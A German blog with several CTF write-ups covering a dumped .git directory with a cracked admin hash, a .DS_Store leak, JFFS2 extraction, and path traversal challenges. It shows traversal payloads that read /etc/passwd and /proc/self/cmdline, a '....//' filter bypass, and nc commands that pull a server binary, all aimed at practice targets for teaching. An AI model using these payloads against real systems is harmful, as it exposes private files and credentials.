0x00sec.dev: Exercise 1

2020-04-15 von Mario

Auf der Seite ctf.0x00sec.org werden CTF Spiele veröffentlicht. Für die erste Aufgabe hier ein writeup.

Challenge

Analyse

Da auf der Seite keine hilfreichen Informationen zu finden sind, wird der Quelltext der Seite untersucht.

Der Kommentar gibt einen Hinweis, an welcher Stelle gesucht werden soll.

</body>
  <!-- TODO: -->
  <!-- * Remove the git directory after publishing -->
</html>

Bei einem GIT Repository wird per default ein Ordner mit dem Namen “.git” angelegt. Weiterhin wird automatisch eine Struktur erstellt. Ein Versuch “https://exercise-1.0x00sec.dev/.git/” aufzurufen, ergab folgendes:

Die Anzeige der Fehlermeldung ist gut. Warum? Dadurch ist ersichtlich, dass der Ordner “.git” vorhanden ist.

Als nächstes kann jede einzelne Möglichkeit von weiteren Dateien oder Ordnern probiert werden, welche in der Dokumentation von GIT zu finden ist. Manuell macht das aber keinen Spaß. Das Tool “gitdumper” ist für diese Aufgabe perfekt geeignet.

 

Durchführung

Herunterladen des Tools “gitdumper” und starten.

./gitdumper.sh https://exercise-1.0x00sec.dev/.git/ DEST_FOLDER
Parameter Beschreibung
DEST_FOLDER Der Ordnername gibt an, wo die heruntergeladenen Dateien lokal gespeichert werden sollen.

 

Die Ausgabe von “gitdumper” stellt sich wie folgt dar:

Mit dem Befehl “tree” kann danach eine übersichtliche Darstellung der heruntergeladenen Daten erzeugt werden.

Die einzelnen Commits werden bei GIT gepackt (ZIP), um Speicherplatz zu sparen. Die relevanten Informationen befinden sich im Ordner “objects”. Für das Entpacken habe ich ein kleines Script geschrieben:

 

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import zlib  # A compression / decompression library

ROOT_DIR = "/EDIT_ME_PATH_TO_FOLDER/.git/objects/"

def readFile(path_to_file):

	compressed_content = open(path_to_file, 'rb').read()
	decompressed_content = zlib.decompress(compressed_content)
	print("--- BOF --- ")
	print(decompressed_content)
	print("--- EOF --- ")


def main():
	for root, subdirs, files in os.walk(ROOT_DIR):
		for file in files:
			tmp_file = os.path.join(root, file)
			print(tmp_file)
			readFile(tmp_file)


if __name__ == "__main__":
	main()

Das Script gibt die gepackten Daten aus. Zuvor muss die Variable “ROOT_DIR” auf den Ort der heruntergeladenen Daten entsprechend angepasst werden. Daraufhin das Script ausführen:

./zip_to_text.py

Da die Ausgabe etwas unübersichtlich ist, den Befehl erweitern:

./zip_to_text.py | grep Pass

Das sieht doch sehr gut aus. Hier findet ein Vergleich zwischen Username und Passwort statt, wobei das Passwort als SHA256 HASH abgelegt ist.

 

Den HASH-Wert gilt es zu cracken. Dafür kann eine beliebige Plattform verwendet werden.

Nach einigen Sekunden wurde der Originalwert des HASH (Result) angezeigt. Jetzt sind die Informationen für den Usernamen “admin” und für das Passwort “l33tsupah4x0r” bekannt und der Login kann durchgeführt werden.

 

Nach der Anmeldung wird das Flag “flag{g1t-dump1ng-i5-c00l}” angezeigt und die Aufgabe ist abgeschlossen.

Kategorie: IT-Security Schlagwörter: , , ,

35C3 Junior CTF – McDonald

2019-02-06 von Mario

Challenge

Our web admin name’s “Mc Donald” and he likes apples and always forgets to throw away his apple cores..

http://35.207.132.47:85

 

Analyse

Nach dem Aufruf der Webseite wurde eine leere Seite angezeigt. Im Quelltext der Seite war auch nichts zu finden.

Ein Blick in die “robots.txt” verschaffte neue Erkenntnisse.

http://35.207.91.38/robots.txt

Inhalt der Datei:

User-agent: *
Disallow: /backup/.DS_Store

Als nächstes wurde die Datei “DS_Store” heruntergeladen.

 

Information gathering

1. Recherche was das für eine Datei ist. Wikipedia sagt dazu:

“In the Apple macOS operating system, .DS_Store is a file that stores custom attributes of its containing folder, such as the position of icons or the choice of a background image. The name is an abbreviation of Desktop Services Store, reflecting its purpose. It is created and maintained by the Finder application in every folder, and has functions similar to the file desktop.ini in Microsoft Windows. Starting with a full stop (period) character, it is hidden in Finder and many Unix utilities. Its internal structure is proprietary.”

2. Nach einer weiteren Suche im Web bin ich auf das Tool “ds store exp” gestoßen.

 

Durchführung

1. Das Tool anwenden und alle Ordner und Dateien werden extrahiert.

./ds_store_exp.py http://35.207.91.38/backup/.DS_Store

2. Flag suchen

Die Ordner- und Dateistruktur mit dem Befehl “tree” anzeigen.

In der Textdatei “flag,txt” befindet sich das gesuchte Flag.

Solution: 35c3_Appl3s_H1dden_F1l3s

Kategorie: IT-Security Schlagwörter: ,

35C3 Junior CTF – rare_mount

2019-02-02 von Mario

Challenge

Little or big, we do not care!

File: ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin

 

Analyse

Nach dem Download der Datei wurde mit dem Befehl “file” geschaut, um welchen Dateityp es sich handelt.

$file ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin
ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin: data

Leider hilft das noch nicht wirklich weiter. Ein weiterer Versuch mit dem Programm “binwalk”:

$binwalk ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin

DECIMAL   	HEX       	DESCRIPTION
------------------------------------------------------------
0         	0x0       	JFFS2 filesystem, big endian

Es handelt sich bei der Datei um ein JFFS2 Filesystem.

 

Information gathering

Nach der Recherche können Dateien mit dem “JFFS2 filesystem extraction tool” extrahiert werden.

1. Download des Tools

$git clone https://github.com/sviehb/jefferson

2. Installation

$cd jefferson
$chmox +x setup.py
$./setup.py

Danach steht das Tool systemweit (/usr/local/bin/jefferson) zur Verfügung.

 

Durchführung

1. Das Tool anwenden und Dateien extrahieren.

$jefferson ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin -d rare_output

2. Flag suchen

Das Tool legt einen Ordner mit dem Namen “rare_output” an. Dort ist ein weiterer Unterordner mit dem Namen “fs_1” enthalten. Dieser wiederum enthält zwei Dateien.

In der Textdatei befindet sich das gesuchte Flag.

 

Solution: 35C3_big_or_little_1_dont_give_a_shizzle

Kategorie: IT-Security Schlagwörter: ,

35C3 Junior CTF – flags

2019-01-06 von Mario

Der CCC veranstaltet seit 35 Jahren einen Kongress. Der diesjährige fand unter dem Motto Refreshing Memories statt. Auch in diesem Jahr gab es ein CTF (Capture the flag) Spiel. Ziel eines CTF-Spiels ist es, eine Schwachstelle zu finden, diese auszunutzen und ein „Flag“ in Erfahrung zu bringen.

Challenge

Fun with flags: http://35.207.169.47
Flag is at /flag
Difficulty estimate: Easy

 

Beim Aufruf der Adresse wurde folgende Seite angezeigt.

Analyse

Der PHP Code holt sich die aktuellen gesetzten Browsersprachen.

$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';

Danach werden die Sprachen (falls mehrere gesetzt sind) aufgeteilt und die erste wird in die Variable geschrieben.

$lang = explode(',', $lang)[0];

Daraufhin wird der Inhalt der Variable gesäubert bzw. geschützt.

$lang = str_replace('../', '', $lang);

Als nächstes wird aus dem Ordner “flags” das Bild passend zur Sprache geladen.

$c = file_get_contents("flags/$lang");

Jetzt erfolgt eine Prüfung, ob eine Datei vorhanden ist und wenn nicht, wird ein default Bild geladen.

if (!$c) $c = file_get_contents("flags/ot");

In der letzten Zeile erfolgt die Ausgabe.

 

Information gathering

Was wissen wir:

  • Das Ziel liegt unter “/flag”.
  • Eingabeparameter, der beeinflusst werden kann, ist die erste Browsersprache.
  • Es gibt einen Schutzmechanismus “str_replace”.

 

Unser Ziel ist es, dass Laden des Inhaltes zu beeinflussen.

$c = file_get_contents("flags/../../../../../flag");

Das ist prinzipiell möglich, da die Browsersprache selbst festgelegt werden kann. Dafür im Firefox in der Adresszeile den Befehl “about:config” eingeben und nach “intl.accept_languages” suchen.

Jetzt noch den Schutzmechanismus “str_replace” umgehen. Die Funktion ersetzt den Text “../” durch einen leeren String. Der Mechanismus ist leicht zu umgehen, denn es wird nur “../” ersetzt. Wenn aber als Input für die Funktion “….//” beinhaltet, ist das Output “../” und genau das möchten wir erreichen. Es werden lediglich zwei Punkte und ein Slash entfernt, der Rest bleibt erhalten.

 

Exploiting

1. Wir ändern unsere Browsersprache in “….//….//….//….//flag”

2. Wir rufen die Seite auf.

Es wird kein Bild angezeigt. Also den Quelltext der Seite anzeigen lassen (STRG +U).

3. Den Text kopieren und dekodieren.

echo "MzVjM190aGlzX2ZsYWdfaXNfdGhlX2JlNXRfZmw0Zwo=" | base64 -d

Solution: 35c3_this_flag_is_the_be5t_fl4g

 

Diese Art von Angriff nennt man directory traversal attack. :)

Kategorie: IT-Security Schlagwörter: ,

Google CTF – Beginners Quest – ADMIN UI

2018-07-07 von Mario

Google veranstaltet regelmäßig Capture the Flags (CTF). Ziel eines CTF-Spiels ist es, eine Schwachstelle zu finden, diese auszunutzen und ein “Flag” in Erfahrung zu bringen. Das Flag ist meist ein Text mit einer definierten Struktur, mit dem Punkte eingelöst werden. Das Team mit den meisten Punkten gewinnt das Spiel.

 

Challenge “Beginners Quest – ADMIN UI”

 

Analyse

Als erstes auf der Konsole mit der Software Netcat eine Verbindung aufbauen.

nc mngmnt-iface.ctfcompetition.com 1337

Dadurch wird eine Verbindung zum Server aufgebaut und automatisch wird ein Programm gestartet, welches auf diesem läuft. Das Programm bietet folgende Funktionen über ein Menü an:

=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit

 

Bei der Option “1” wird ein Passwort verlangt, welches wir nicht haben, also wieder zurück.

Please enter the backdoo^Wservice password:

Die Option “2” stellt ein weiteres Menü bereit:

The following patchnotes were found:
 - Version0.3
 - Version0.2
Which patchnotes should be shown?

 

Mit der Eingabe “Version0.3” erhalten wir die Patchnotes:

# Version 0.3
- Rollback of version 0.2 because of random reasons
- Blah Blah
- Fix random reboots at 2:32 every second Friday when it's new-moon.

Mit der Eingabe “Version0.2” erhalten wir die Patchnotes:

# Release 0.2
- Updated library X to version 0.Y
- Fixed path traversal bug
- Improved the UX

 

Let’s go hacking

Bis hierhin kein Problem, wir haben eine Software, die auf einem Server läuft, eine Passworteingabe verlangt, Patchnotes bereitstellt und sich beenden lässt.

Als erstes habe ich ein paar nicht zulässige Eingaben ausprobiert. D.h., anstatt die im Menü vorgegebenen Eingaben habe ich Menüpunkt “4”, “0”, … usw. ausprobiert. Was keinen Erfolg brachte.

 

Als nächstes habe ich im Untermenü der Patchnotes invalide Eingaben ausprobiert. Folgende Fehlermeldung kam zum Vorschein:

Error: No such file or directory

Daraus lässt sich schließen, dass wahrscheinlich die Patchnotes in Dateien abgelegt sind und das Programm diese öffnet und entsprechend anzeigt.

 

Durch einen einfachen Test lässt sich herauszufinden, ob das Programm nur den “Dateinamen” oder “Pfad/Dateinamen” zum Öffnen benötigt. Im Untermenü wird folgendes eingegeben:

./Version0.3

Daraufhin wird die Datei Version 0.3 angezeigt.

# Version 0.3
 - Rollback of version 0.2 because of random reasons
 - Blah Blah
 - Fix random reboots at 2:32 every second Friday when it's new-moon.

Bingo ! :) D.h. über die Eingabe ist es möglich, einen Pfad (Path Traversel) anzugeben. Zur Verdeutlichung, was dadurch jetzt möglich ist:

../../../../../../etc/passwd

Ausgabe

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/syn
...

Leider haben wir das Flag noch nicht gefunden und es kann sich überall auf dem Server befinden.

 

Weitere Informationsbeschaffung

Unter Linux ist es möglich, sich den aktuell laufenden Prozess anzeigen zu lassen. Mittels

/proc/self/cmdline

wird der aktuelle Prozess angezeigt.

  1. Verbinden mit Netcat
  2. Menüpunkt “2” aufrufen
  3. Folgende Eingabe durchführen
../../../../../../../../../../proc/self/cmdline

Ausgabe

./main=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit

Der Name der laufenden Applikation lautet “main”.

 

Programm herunterladen

Auf folgende Art und Weise kann das Programm jetzt vom Server heruntergeladen werden.

echo -e "2\n../main" | nc -v mngmnt-iface.ctfcompetition.com 1337 > admin_ui_file
Befehl/Argument Beschreibung
echo Der Befehl “echo” gibt einen Text aus.
e Der Parameter “e” sorgt dafür, dass das Sonderzeichen “\n” interpretiert wird (Enter/Newline).
| Mit der Pipe “|” wird die Ausgabe an das Programm Netcat übergeben, welches sich zum Server verbindet.
> Mit “>” werden alle Ausgaben in eine Datei “admin_ui_file” gespeichert.

 

Nach ca. 10 Sekunden mit “STRG + C” den Prozess abbrechen. Lokal sollte jetzt eine Datei vorhanden sein. Der manuelle Abbruch ist notwendig, da die Datei sonst immer weiter wächst. Das Warten auf eine Eingabe auf Seiten des Servers wird ebenfalls in die Datei gespeichert…

 

Reverse Engineering

Die Datei mit einem Hex-Editor (Bless) öffnen und nach Texten suchen, die hilfreich sein können.

Mit dem String “patchnotes” ergab die Suche einen interessanten Treffer.

Final Step

Im Ordner “patchnotes” liegt eine Datei mit dem Namen “flag”, welche es gilt anzuschauen. Also, auf eine Neues und mit dem Server verbinden, den Menüpunkt “2” wählen und bei der Eingabe “Which patchnotes should be shown?”:

../flag

eingeben. Als Ausgabe erhalten wir unser Flag. :)

CTF{I_luv_buggy_sOFtware}=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit

 

Kategorie: IT-Security Schlagwörter: , ,